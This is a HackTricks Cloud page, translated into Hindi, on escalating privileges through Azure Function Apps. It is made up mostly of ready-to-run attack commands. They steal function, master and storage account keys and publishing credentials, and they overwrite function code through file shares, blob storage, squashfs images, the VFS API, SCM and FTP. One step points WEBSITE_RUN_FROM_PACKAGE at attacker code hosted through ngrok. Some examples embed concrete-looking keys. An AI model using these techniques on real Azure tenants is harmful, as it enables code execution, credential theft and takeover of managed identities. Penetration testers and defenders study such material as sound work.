Az - Functions App Privesc
Reading time: 17 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Function Apps
अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:
Bucket Read/Write
यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो आप विभिन्न कंटेनरों (कस्टम या पूर्व-निर्धारित नामों के साथ) को खोज सकते हैं जो फ़ंक्शन द्वारा निष्पादित कोड को समाहित कर सकते हैं।
एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ा सकते हैं।
File Share
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
औरWEBSITE_CONTENTSHARE
)
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर संग्रहीत होता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और फ़ंक्शन को मनमाने कोड को लोड करने के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है।
यह तैनाती विधि आमतौर पर सेटिंग्स WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
और WEBSITE_CONTENTSHARE
को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
वे कॉन्फ़िगरेशन स्टोरेज अकाउंट की को शामिल करेंगे जिसका उपयोग फ़ंक्शन को कोड तक पहुँचने के लिए किया जा सकता है।
caution
फ़ाइल शेयर से कनेक्ट करने और स्क्रिप्ट को संशोधित करने के लिए पर्याप्त अनुमति के साथ, फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करता है, लेकिन फ़ाइल शेयरों के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases
(WEBSITE_RUN_FROM_PACKAGE
)
यह सामान्य है कि zip releases को उस फ़ोल्डर function-releases
के अंदर पाया जाए जो Storage Account कंटेनर में है जिसका उपयोग फ़ंक्शन ऐप कर रहा है, जो आमतौर पर function-releases
कहलाता है।
आमतौर पर, यह तैनाती विधि WEBSITE_RUN_FROM_PACKAGE
कॉन्फ़िग सेट करेगी:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
यह कॉन्फ़िगरेशन आमतौर पर SAS URL को डाउनलोड करने के लिए स्टोरेज अकाउंट से कोड प्राप्त करने के लिए शामिल होगा।
caution
यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो कोड को ज़िप में शामिल करता है, तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
github-actions-deploy
(WEBSITE_RUN_FROM_PACKAGE)
पिछले मामले की तरह, यदि तैनाती Github Actions के माध्यम से की जाती है, तो स्टोरेज अकाउंट में github-actions-deploy
फ़ोल्डर खोजना संभव है जिसमें कोड का ज़िप और सेटिंग WEBSITE_RUN_FROM_PACKAGE
में ज़िप के लिए एक SAS URL शामिल है।
scm-releases
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
औरWEBSITE_CONTENTSHARE
)
स्टोरेज अकाउंट के अंदर फ़ंक्शन डेटा को संग्रहीत करने वाले कंटेनरों को पढ़ने के लिए अनुमतियों के साथ, scm-releases
कंटेनर खोजना संभव है। वहाँ, Squashfs फ़ाइल प्रणाली फ़ाइल प्रारूप में नवीनतम रिलीज़ खोजना संभव है और इसलिए फ़ंक्शन के कोड को पढ़ना संभव है:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
यह भी संभव है कि मास्टर और फ़ंक्शन कुंजी को स्टोरेज खाते में azure-webjobs-secrets
कंटेनर में <app-name>
फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
caution
यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो कोड को ज़िप एक्सटेंशन फ़ाइल में रखता है (जो वास्तव में एक squashfs
है), तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
यह अनुमति निर्दिष्ट फ़ंक्शन के फ़ंक्शन, मास्टर और सिस्टम कुंजियों को सूचीबद्ध करने की अनुमति देती है, लेकिन होस्ट कुंजी नहीं।
az functionapp keys list --resource-group <res_group> --name <func-name>
मास्टर कुंजी के साथ, एक URL में स्रोत कोड प्राप्त करना भी संभव है:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
और कार्य में निष्पादित हो रहे कोड को बदलने के लिए:
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
यह अनुमति निर्दिष्ट फ़ंक्शन की होस्ट कुंजी प्राप्त करने की अनुमति देती है:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
यह अनुमति निर्दिष्ट फ़ंक्शन की फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
यह अनुमति निर्दिष्ट फ़ंक्शन के लिए मास्टर कुंजी बनाने/अपडेट करने की अनुमति देती है:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
caution
याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए अनुसार संशोधित कर सकते हैं!
Microsoft.Web/sites/host/systemKeys/write
यह अनुमति निर्दिष्ट फ़ंक्शन के लिए एक सिस्टम फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
यह अनुमति एक फ़ंक्शन की सेटिंग्स प्राप्त करने की अनुमति देती है। इन कॉन्फ़िगरेशन के अंदर, यह संभव है कि AzureWebJobsStorage
या WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
के डिफ़ॉल्ट मान मिलें, जिसमें ब्लॉब स्टोरेज तक FULL अनुमतियों के साथ पहुँच के लिए एक खाता कुंजी होती है।
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
इसके अलावा, यह अनुमति SCM उपयोगकर्ता नाम और पासवर्ड (यदि सक्षम हो) प्राप्त करने की भी अनुमति देती है:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/write
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा था, साथ ही इन मानों को संशोधित करने की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।
इसलिए यह संभव है कि सेटिंग का मान WEBSITE_RUN_FROM_PACKAGE
को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें एक वेब एप्लिकेशन के अंदर निष्पादित होने के लिए नया कोड हो:
- वर्तमान कॉन्फ़िगरेशन प्राप्त करने से शुरू करें
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- वह कोड बनाएं जिसे आप फ़ंक्शन को चलाना चाहते हैं और इसे सार्वजनिक रूप से होस्ट करें
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में
WEBSITE_RUN_FROM_PACKAGE
कॉन्फ़िगरेशन जोड़ें जो कोड के साथ zip वाली URL की ओर इशारा करता है।
निम्नलिखित मेरे अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी, अंत में मान "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"
है, यहाँ मैंने ऐप को होस्ट किया था।
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
इस अनुमति के साथ किसी एप्लिकेशन के कोड को वेब कंसोल के माध्यम से संशोधित करना संभव है (या निम्नलिखित API एंडपॉइंट के माध्यम से):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
Microsoft.Web/sites/publishxml/action
, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
)
यह अनुमति सभी प्रकाशन प्रोफाइल को सूचीबद्ध करने की अनुमति देती है, जो मूल रूप से बुनियादी प्रमाणीकरण क्रेडेंशियल शामिल करती है:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
एक और विकल्प होगा कि आप अपनी खुद की क्रेडेंशियल्स सेट करें और उनका उपयोग करें:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- यदि REDACTED क्रेडेंशियल्स
यदि आप देखते हैं कि वे क्रेडेंशियल्स REDACTED हैं, तो इसका मतलब है कि आपको SCM बेसिक ऑथेंटिकेशन विकल्प को सक्षम करने की आवश्यकता है और इसके लिए आपको दूसरी अनुमति की आवश्यकता है (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Method SCM
फिर, आप अपने फ़ंक्शन ऐप के SCM URL पर इन बुनियादी प्रमाणीकरण क्रेडेंशियल्स के साथ पहुँच सकते हैं और env वेरिएबल्स के मान प्राप्त कर सकते हैं:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
ध्यान दें कि SCM उपयोगकर्ता नाम आमतौर पर वर्ण "$" के बाद ऐप का नाम होता है, इसलिए: $<app-name>
.
आप https://<app-name>.scm.azurewebsites.net/BasicAuth
से वेब पृष्ठ तक भी पहुँच सकते हैं।
सेटिंग्स मानों में उस स्टोरेज खाते का AccountKey शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित किया जा सकता है।
- विधि FTP
FTP सर्वर से कनेक्ट करें:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
ध्यान दें कि FTP उपयोगकर्ता नाम आमतौर पर इस प्रारूप में होता है <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
यह अनुमति VFS के माध्यम से ऐप का स्रोत कोड पढ़ने की अनुमति देती है:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
इस अनुमति के साथ यह संभव है व्यवस्थापक टोकन प्राप्त करें जिसे बाद में मास्टर कुंजी प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है।
हालांकि, मेरी अंतिम जांचों में कोई टोकन वापस नहीं किया गया, इसलिए यह संभव है कि यह अक्षम हो या अब काम न कर रहा हो, लेकिन यहाँ यह है कि आप इसे कैसे करेंगे:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write
, (Microsoft.Web/sites/functions/properties/read
)
यह अनुमति फंक्शंस को सक्षम करने की अनुमति देती है जो कि अक्षम हो सकते हैं (या उन्हें अक्षम कर सकती है)।
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
यह भी संभव है कि आप निम्नलिखित URL में देखें कि कोई फ़ंक्शन सक्षम है या अक्षम (कोष्ठक में अनुमति का उपयोग करते हुए):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write
, Microsoft.Web/sites/config/list/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/read
)
इन अनुमतियों के साथ, यह संभव है कि एक फ़ंक्शन ऐप द्वारा चलाए जा रहे कंटेनर को संशोधित किया जा सके जिसे एक कंटेनर चलाने के लिए कॉन्फ़िगर किया गया है। इससे एक हमलावर को एक दुर्भावनापूर्ण azure फ़ंक्शन कंटेनर ऐप को डॉकर हब (उदाहरण के लिए) पर अपलोड करने और फ़ंक्शन को इसे निष्पादित करने की अनुमति मिलेगी।
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/operationresults/read
)
इन अनुमतियों के साथ, एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से जोड़ा जा सकता है। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा।
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Remote Debugging
यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को दस्तावेज़ों में समझाया गया के रूप में डिबग करने के लिए कनेक्ट किया जाए। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर कमजोर कॉन्फ़िगरेशन छोड़ने से बचने के लिए भूल जाता है।
यह जांचना संभव है कि क्या किसी फ़ंक्शन में डिबगिंग सक्षम है:
az functionapp show --name <app-name> --resource-group <res-group>
Microsoft.Web/sites/config/write
अनुमति होने पर, एक फ़ंक्शन को डिबगिंग मोड में डालना भी संभव है (निम्नलिखित कमांड को भी Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/Read
और Microsoft.Web/sites/Read
अनुमतियों की आवश्यकता होती है)।
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Change Github repo
मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github रिपॉजिटरी को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, नया कोड लोड नहीं हुआ (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।
इसके अलावा, प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ जिससे नई रिपॉजिटरी की अनुमति नहीं मिली, इसलिए यह बहुत उपयोगी नहीं लगता।
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।